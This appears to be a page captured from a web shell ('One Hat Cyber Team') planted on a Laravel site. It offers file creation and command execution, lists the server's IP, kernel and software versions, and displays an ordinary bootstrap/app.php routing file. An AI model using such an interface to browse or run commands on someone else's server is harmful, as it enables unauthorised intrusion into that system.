One Hat Cyber Team
Your IP :
216.73.216.182
Server IP :
50.28.103.30
Server :
Linux host.jcukjv-lwsites.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
Server Software :
nginx/1.24.0
PHP Version :
8.3.12
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
www
/
wwwroot
/
hotdog-station.com
/
bootstrap
/
View File Name :
app.php
<?php use App\Http\Middleware\AdminMiddleware; use App\Http\Middleware\AnyAuthMiddleware; use App\Http\Middleware\IsCustomer; use App\Http\Middleware\IsAgent; use App\Http\Middleware\CheckDatabaseConnection; use App\Http\Middleware\PreventBackHistory; use Illuminate\Foundation\Application; use Illuminate\Foundation\Configuration\Exceptions; use Illuminate\Foundation\Configuration\Middleware; return Application::configure(basePath: dirname(__DIR__)) ->withRouting( commands: __DIR__.'/../routes/console.php', using: function () { Route::middleware('api') ->prefix('api') ->group(base_path('routes/api.php')); Route::middleware(['web','PreventBackHistory']) ->group(base_path('routes/web.php')); Route::middleware(['web','PreventBackHistory']) ->group(base_path('routes/customer.php')); Route::middleware(['web','PreventBackHistory']) ->group(base_path('routes/agent.php')); Route::middleware(['web','PreventBackHistory']) ->group(base_path('routes/payment.php')); if (addon_status('live_chat') == 1){ Route::middleware(['web','PreventBackHistory']) ->group(base_path('routes/live_chat.php')); } if (addon_status('shop') == 1){ Route::middleware(['web','PreventBackHistory']) ->group(base_path('routes/shop.php')); } if (addon_status('form_builder') == 1){ Route::middleware(['web','PreventBackHistory']) ->group(base_path('routes/form_builder.php')); } Route::middleware(['web','PreventBackHistory']) ->group(base_path('routes/custom_field.php')); }, ) ->withMiddleware(function (Middleware $middleware) { $middleware->alias([ 'admin' => AdminMiddleware::class, 'customer' => IsCustomer::class, 'agent' => IsAgent::class, 'anyAuth' => AnyAuthMiddleware::class, 'CheckDatabaseConnection' => CheckDatabaseConnection::class, 'PreventBackHistory' => PreventBackHistory::class ]); }) ->withExceptions(function (Exceptions $exceptions) { // })->create();